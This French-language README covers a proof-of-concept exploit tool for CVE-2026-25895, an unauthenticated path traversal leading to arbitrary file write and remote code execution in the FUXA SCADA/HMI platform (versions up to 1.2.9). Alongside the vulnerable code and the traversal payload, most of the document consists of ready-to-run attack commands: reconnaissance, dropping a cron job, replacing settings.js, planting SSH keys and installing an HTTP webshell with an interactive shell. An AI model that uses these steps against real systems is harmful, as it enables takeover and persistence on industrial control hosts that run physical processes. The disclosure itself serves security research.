
POC exploit pour CVE-2026-25895 FUXA : traversée de chemin non authentifiée -> écriture de fichier arbitraire -> RCE
Écriture de fichier arbitraire non authentifiée (pré-authentification) contre FUXA, une plateforme SCADA/IHM basée sur Node.js. S'enchaîne vers une exécution de code à distance via plusieurs primitives distinctes post-écriture. Fonctionne même lorsque secureEnabled = true (authentification activée), car le point de terminaison vulnérable n'est rattaché à aucun middleware.
Également disponible sur ExploitDB : https://www.exploit-db.com/exploits/52568
| Champ | Valeur |
|---|---|
| CVE ID | CVE-2026-25895 |
| Affecté | FUXA <= 1.2.9 |
| Corrigé | FUXA 1.2.10 |
| Éditeur | frangoteam / FUXA |
| Vecteur d'attaque | Réseau (HTTP/HTTPS) |
| Authentification | Aucune requise |
| Impact | Écriture de fichier arbitraire, exécution de code à distance |
| CVSS v3.1 | 9.8 (Critique) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Chercheur | Anthony Cihan (Hann1bl3L3ct3r) |
Le point de terminaison POST /api/upload de FUXA (server/api/projects/index.js:193) est enregistré sans middleware, contournant à la fois le contrôle JWT / clé API secureFnc et la barrière de permission administrateur appliquée à tous les autres points de terminaison de gestion de projets. Dans le gestionnaire, le champ destination du corps JSON est concaténé dans un chemin du système de fichiers avec seulement un underscore de tête et sans normalisation ni contrôle de confinement :
let destinationDir = path.resolve(runtime.settings.appDir, `_${destination}`);
filePath = path.join(destinationDir, fullPath || fileName);
fs.writeFileSync(filePath, basedata, encoding);
Une valeur destination de la forme a/../../../../../etc (où a absorbe le préfixe underscore) fait remonter path.resolve de Node hors de appDir vers n'importe quel emplacement où le processus FUXA peut écrire. Comme fs.writeFileSync est précédé d'un fs.mkdirSync(dir, { recursive: true }) conditionnel, l'attaquant peut également créer les répertoires parents nécessaires.
Le résultat est une primitive d'écriture de fichier arbitraire non authentifiée accessible sur le port HTTP par défaut (1881), exploitable avant authentification, que l'administrateur FUXA ait activé ou non la connexion.
Un attaquant distant non authentifié peut :
settings.js pour obtenir une exécution de code au prochain redémarrage de FUXA/etc/cron.d/<file>) pour une exécution de code en moins de 60 secondes lorsque FUXA s'exécute en tant que root (valeur par défaut dans l'image Docker de l'éditeur)/root/.ssh/authorized_keys ou dans ~/.ssh/authorized_keys de n'importe quel utilisateurIl s'agit d'une vulnérabilité critique pré-authentification sur une plateforme ICS/SCADA utilisée pour piloter des processus industriels.
| Version | Statut |
|---|---|
<= 1.2.9 | Vulnérable |
1.2.10+ | Corrigé |
Exploitation confirmée sur une installation propre de FUXA 1.2.9 sous Ubuntu Server.
Script Python 3 en un seul fichier, une seule dépendance tierce (requests).
pip install requests
python3 fuxapwn.py --help
Identifier l'utilisateur OS en cours d'exécution, l'exposition de Node-RED et tout autre compte présent sur l'hôte sans rien écrire d'inhabituel :
python3 fuxapwn.py -u http://target:1881 --mode recon \
--probe-root --probe-home
Écrire un marqueur neutre /tmp/healthcheck (aucun IOC spécifique à la CVE dans le nom de fichier ou le contenu) :
python3 fuxapwn.py -u http://target:1881 --mode canary
Si FUXA s'exécute en tant que root, déposer un fichier cron qui se déclenche en moins de 60 secondes sans nécessiter de redémarrage de FUXA :
python3 fuxapwn.py -u http://target:1881 --mode cron \
--cron-cmd 'id > /tmp/fx.txt 2>&1'
settings.jsInstaller un écouteur de webshell HTTP dans le processus Node de FUXA (s'active au prochain démarrage à froid, car require() met en cache les modules), puis basculer dans un REPL interactif une fois FUXA redémarré :
# Stage the payload — replaces settings.js but preserves the target's
# real configuration (uiPort, allowedOrigins, secureEnabled, etc.) so the
# application keeps serving normally.
python3 fuxapwn.py -u http://target:1881 --mode webshell \
--appdata /opt/FUXA/server/_appdata --ws-port 31337
# Once FUXA restarts, connect to the installed webshell.
python3 fuxapwn.py -u http://target:1881 --mode webshell-exec \
--ws-host target --ws-port 31337 \
--ws-path /_abc123 --ws-token <printed-above> --interact
| Mode | Fonction |
|---|---|
recon | Fuite d'informations non authentifiée via GET /api/settings ; déduit l'utilisateur OS en cours d'exécution à partir des chemins absolus ; rapporte l'état de Node-RED ; sondes actives optionnelles --probe-root et --probe-home |
canary | Preuve de la primitive d'écriture de fichier avec un chemin par défaut neutre |
settings-rce | Remplace settings.js par une charge utile qui exécute une commande configurable au prochain démarrage à froid de FUXA |
ssh-key | Écrit une clé publique dans authorized_keys d'un utilisateur cible |
drop | Dépôt de fichier arbitraire vers n'importe quel chemin absolu |
cron | Dépose /etc/cron.d/<name> pour une RCE en moins de 60 secondes sans attendre un redémarrage de FUXA (nécessite que FUXA s'exécute en tant que root) |
webshell | Installe un écouteur de webshell HTTP dans le processus Node de FUXA via le remplacement de settings.js (s'active au prochain démarrage à froid) |
webshell-exec | Client pour un webshell déjà installé ; commande unique ou REPL --interact |
Référence complète des options par mode : python3 fuxapwn.py --help.
GET /api/settings (server/api/index.js:103) est enregistré sans middleware et renvoie la configuration d'exécution en direct, légèrement expurgée (le serveur supprime secretCode et smtp.password avant l'envoi). Les champs restants divulguent des chemins absolus (appDir, workDir, userSettingsFile, logsDir, uploadFileDir) qui identifient généralement l'utilisateur du service, ainsi que nodeRedEnabled, un indicateur direct d'une voie secondaire de RCE non authentifiée (voir ci-dessous).
Lorsque FUXA est lancé via npm start sous un compte utilisateur local et que les chemins d'installation n'encodent pas l'utilisateur (par ex. l'installation se trouve sous /opt, /tmp ou un /app générique), et que /root/ n'est pas inscriptible, la POC se rabat sur l'itération de /home/<candidate>/ avec des écritures de zéro octet.